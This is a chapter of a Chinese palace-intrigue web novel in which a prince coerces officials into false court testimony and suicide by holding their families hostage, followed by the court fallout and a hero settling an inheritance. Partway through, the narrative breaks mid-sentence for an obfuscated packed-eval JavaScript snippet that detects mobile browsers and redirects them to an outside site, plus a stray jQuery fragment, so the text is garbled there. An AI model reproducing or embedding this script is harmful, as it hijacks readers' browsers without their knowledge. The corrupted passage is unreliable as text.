76.076 江家父子被灭口
作品:《万人嫌的逆袭[系统]》 昨天晚上,刘恩跟着萧鹤川审完江丰德以后,就像往常一样回家了,可是他的家人全都不见了,家里只有安王殿下和他的几个侍卫。
刘恩:“卑职参见安王殿下。”
萧允琛拿着一个银项圈,说:“你的家人,本王已经安排好了,就看你是想和他们在地府团聚,还是愿意牺牲自己,让他们富足一生?”
刘恩:……
萧允琛:“本王让你做的不是什么伤天害理的事,不用这么难选。”
萧允琛问刘恩,江丰德都说了些什么,他的家人全都在萧允琛的手里,刘恩只能实话实说。
萧允琛让他在朝堂上,如实地,完整地,说出江丰德口供,说完以后就一头撞死,他的家人就能得到白银万两。
刘恩:“我要见他们。”
萧允琛:“你没有资格谈条件。”
就这样,刘恩并没有见到自己的家人,但是他哪里敢赌呢?
早朝。
萧鹤川:“刘恩,是不是有人胁迫你,让你挑拨陛下和太子的关系?你别怕,陛下会为你做主的。”
刘恩没有回答萧鹤川的话,而是说:“襄王殿下好口才,可是魏妃和太子作恶多端,卑职心中的道义,让卑职做不到视而不见。”
从萧允琛选中刘恩的那一刻起,他的结局就注定了,说再多的话也没有用,言罢,刘恩触柱而亡。
朝堂上一片哗然,在他们还处于惊讶之中的时候,天牢的狱卒突然来报,说江丰德父子被人灭口了。
江丰德和江柏麟被一剑穿喉,很明显是被灭口的,禁卫军很快就押着一个黑衣人,来到了大殿上,黑衣人的脸上和身上都溅着不少血。
禁卫军甲:“启禀陛下,此人逃离天牢时,被我等拿下。”
黑衣人是萧鹤川手下的刑捕宋贵,但宋贵却说,他是奉了太子的命令去灭口的。
说他没有办好差事,愧对太子的赏识,说罢,宋贵撞在禁卫军甲的剑上,了结了自己。
刘恩没得选,宋贵同样不敢用家人的性命,去赌萧允琛是不是在开玩笑。
萧鹤川:……
指使他们的人,想离间他和萧书君,想把他们两个一起拉下马。
因为在萧鹤川看来,是宋贵背叛他,投靠了萧书君。但是在萧书君看来,是宋贵奉萧鹤川之命,污蔑他。
萧书君的内心却五味杂陈,首先,萧鹤川没有把真实的口供告诉他,导致他根本没有做应对的时间,其次,揭露真实口供的人,是萧鹤川手下的刑捕刘恩。
萧书君怀疑萧鹤川自导自演,一边蒙蔽他,另一边却做好了准备,给他重击。
萧书君压根没有跟宋贵私下接触过,更没有让任何人去灭口,宋贵却当众指认是他下的命令,而宋贵,也是萧鹤川的手下,所以这事怎么看,都是萧鹤川设计的。
一看萧书君的表情,萧鹤川就知道完了,这家伙上套了……
萧鹤川:“父皇,太子,刘恩和宋贵言辞激进,行为鲁莽,与平时的稳重机智,大相径庭,儿臣猜测,他二人必是受人胁迫……”
萧书君:“他二人定是受了你的胁迫!父皇!这一切都是襄王安排的!父皇可还记得颖妃?颖妃杀害五位朝臣,却伪造证据把矛头指向母妃!襄王从小便由颖妃教导,他今日的手段与颖妃如出一辙!”
江丰德的口供,关乎康庆帝最爱的淑妃,和那个未出世的孩子,关乎龙袍和孟家几百口人命,关乎损坏贡品和私养兵马。
每一件都是康庆帝的雷区,萧书君不得不严词撇清他们母子与这些事情的关系。
尚书令沈言:“太子急糊涂了吧,众所周知,襄王殿下打十岁起,就由陛下亲自教导,颖妃的所作所为,与襄王没有半点关系,太子黔驴技穷,也不能生搬硬套啊。”
兵部尚书魏峥:“刘恩和宋贵的指控,句句指向太子,泼脏水的意思简直不要太明显!由此可见太子是无辜的,刘恩和宋贵都是襄王的人,襄王定与此事脱不了干系。”
中书令韩平:“按照魏尚书的逻辑,只要被指控,那就一定是无辜的,魏尚书也指控了襄王殿下,那么襄王殿下就一定是无辜的了。”
中书侍郎俞安:“无风不起浪,若不是魏妃和太子犯下这桩桩罪行,江丰德怎会有此口供?陛下!魏妃和太子目无法纪,他们所犯罪行事关重大,陛下定要严查!”
门下侍中魏成章:“江丰德的口供如果为真,那襄王为什么不报?如果为假,刘恩定是受人指使,不论是不是襄王指使,襄王都有御下不严之罪,刘恩和宋贵的职责安排,只有襄王最清楚,将襄王押入天牢受审,假以时日定能真相大白。”
尚书令沈言:“御下不严便要押送受审,那魏妃和太子私制龙袍、草菅人命、筹募私兵,更要受遍所有的刑罚,才能叫死者安息!”
户部侍郎魏渊:“孙章平死的时候,沈尚书令和俞侍郎就言之凿凿地污蔑魏妃,如今江丰德死了,你二人又言之凿凿地污蔑魏妃,只要有人死,你们就怪魏妃,你二人为官多年,处事原则却如此荒唐!”
萧书君:“父皇!这一定是襄王安排的!刘恩和宋贵一向忠于襄王,襄王定是许诺了他们好处……”
康庆帝的脑袋都快爆炸了,他把砚台砸向萧书君,喊了一句:“放肆!”满朝文武和太监宫女,全都跪下了,场面终于安静了一会儿。
安静了一会儿。
“太子身为储君,却遇事慌张,口不择言,毫无明君正道之风,”康庆帝疑惑道:“难道你就只会往别人身上泼脏水这一招吗?”
萧书君委屈道:“儿臣……”
康庆帝:“你已经是储君了,怎么还不如殿门外的两个石狮子稳重?太子从今天开始闭门思过,无召不得出府,襄王,刘恩和宋贵究竟是何人胁迫,尽早查明。”
萧鹤川:“儿臣领旨。”
早朝就这样散了,魏天明和沈言相互瞪了一眼,恨不能掐死对方。
对萧鹤川而言,当务之急是查出胁迫刘恩和宋贵的人,但他对上的人是萧书君,所以他必须先跟萧书君解释清楚,不然就真的中计了。
太子府。
萧书君既生气又屈辱,他抽出剑来,真想刺死萧鹤川,萧鹤川扑通一跪,恭敬道:“太子殿下息怒。”
萧书君:“你还有脸来?你真以为本宫不敢对你动手吗?!”
萧鹤川:“皇兄,刘恩和宋贵真的不是我指使的,他们的家人全都不见了,他们如果真的忠于我,我根本不需要用家人来威胁他们,幕后之人特地用我的手下,来指认你,为的就是让我们反目成仇。”
萧书君:……
萧鹤川:“皇兄,您好好地想一想,您被立为太子,谁的心里最不舒坦,谁最不服?在臣弟的心里,皇兄您是当仁不让的储君,臣弟必定是忠于您的,所以幕后之人才想让我们分崩离析,只有我们同时被父皇降罪,他才有机会上位。”
萧书君:“江丰德的口供到底怎么回事?你是否对本宫隐瞒?”
萧鹤川:“江丰德确实说过,但那都是虚无缥缈之言,不是吗?”
萧书君:……
是他也不能承认啊。
萧鹤川:“臣弟就知道他是瞎说的,所以臣弟一个字都没有信!更不想殿下因为莫须有的指控而烦心。臣弟忠于太子,更忠于父皇,臣弟如果信了江丰德,那么父皇早就知道了,刘恩说出来的时候,父皇就不会那么震惊了,更不可能叫臣弟调查胁迫刘恩和宋贵的人了。”
萧书君:……
萧书君觉得萧鹤川说得有道理。
萧鹤川首先是忠于父皇的,其次才是忠于他的,那些事情父皇如果知道了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699316|167345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不可能不调查他和母妃。
可是父皇没查,那就说明,萧鹤川没有背着他向父皇告御状,看来,萧鹤川真的没信。
萧书君让萧鹤川先回去,并且尽快找出幕后主使。
都说看客最清醒,但是有的看客并不甘心只做看客,他生怕自己被踢出局,萧鹤川如果真的对萧书君投诚,那萧书君不就有脑子了?
有了脑子,犯的错就少了,他不犯错,康庆帝还有什么理由废掉他呢?
而且萧鹤川只要不倒,就永远有报复他的可能,他的心就永远难安。
萧司明也来到了太子府,比起萧鹤川,他是更早对萧书君“投诚”的人,他说:“太子殿下可还记得,襄王的母亲虞嫔,是怎么死的?”
萧书君背上的汗毛都立了起来。
萧司明:“当年,魏妃娘娘一心扶持颖妃,颖妃承宠多年却未能有孕,便想有个皇子傍身,于是,虞嫔便被打入了冷宫,襄王便成了颖妃的孩子,襄王最擅长断案,什么事情都能调查得明明白白,自然不会让自己的生母不明不白的死。”
“襄王蛰伏多年,将远山县的事调查得一清二楚,又利用太子殿下您,一举扳倒了颖妃,可是他的仇人并不只有颖妃,颖妃倒了,下一个说不准就是……襄王整日与各种各样的罪犯博弈,他若想谋害什么人,那一定是最完美的犯罪,必定让人找不出一丝一毫的漏洞。”
萧书君沉着脸,他想,萧司明说得虽然有道理,但是他不愿意相信萧鹤川从小就这么聪明,虞嫔身亡的时候,萧书君和萧司明都已经记事了,可是萧鹤川只有六岁。
萧书君烦死了,但是突然想起康庆帝叫他稳重,便不紧不慢道:“你先回去,本宫自会查明真相。”
虽然萧司明比萧鹤川更早投诚,但是萧书君打心眼里更想拉拢的人是萧鹤川。
就看萧鹤川能不能找出幕后主使了,萧书君心想,若是找得到,他就再信萧鹤川一回。
一个晚上的时间,刘恩和宋贵的家人全都消失得无影无踪,邻居们全都没有看到“做客”之人,带走他们的人,亦不曾留下蛛丝马迹。
除了几个不太明显的脚印,再也没有任何线索,带走他们的人非常谨慎,没有留下任何可以追踪身份的东西,钱袋、配饰、鞋底没有特殊的泥、衣裳也没有脱线。
没有迷.香,也没有打斗的痕迹,城门上的守卫说,昨夜并没有马车出京。
*
萧鹤川在忙着查案,柳昭隐在忙着清点财产。
江丰德父子被灭口,对外宣称是畏罪自杀,魏绾绾既见不到魏妃,也见不到魏天明,知道自己是弃子的她,在江府自缢。
欺君之罪,当诛九族,康庆帝网开一面,只处置了江府的大大小小的主子,并没有处死仆人,江府的仆人全部交由牙行安置。
柳昭隐带走了孙正,其他人,他不想要。
尽管江丰德将江昭隐逐出了家门,但江家的财产还是全部判给了“江昭隐”,除了江府的宅子,金银珠宝,还有所有的铺面和田产。
柳昭隐只清点了铺面、田产、和孟文莹的嫁妆,其余现银,全都贡献给了朝廷,他觉得那些银子晦气,江府的宅子,他也打算卖掉。
柳昭隐摇身一变成了富翁,但是这些财产,说到底都是原身江昭隐的,而柳昭隐还没有还完原身的债,还不能真正的借用原身重生。
所以系统不允许柳昭隐动用原身的财产,他必须靠自己的努力把债还完,才能真正拥有这具身体,才能真正地继承原身的财产。
柳昭隐尊重系统的规则,而且他有信心靠着自己的努力(萧鹤川的帮忙),在规定期限内把债还完。
五皇子帮了他的忙,自己却卷入了这么大的麻烦里,柳昭隐不可能坐视不管,他看着刘恩的家人的画像,传送到了他们的栖身之所。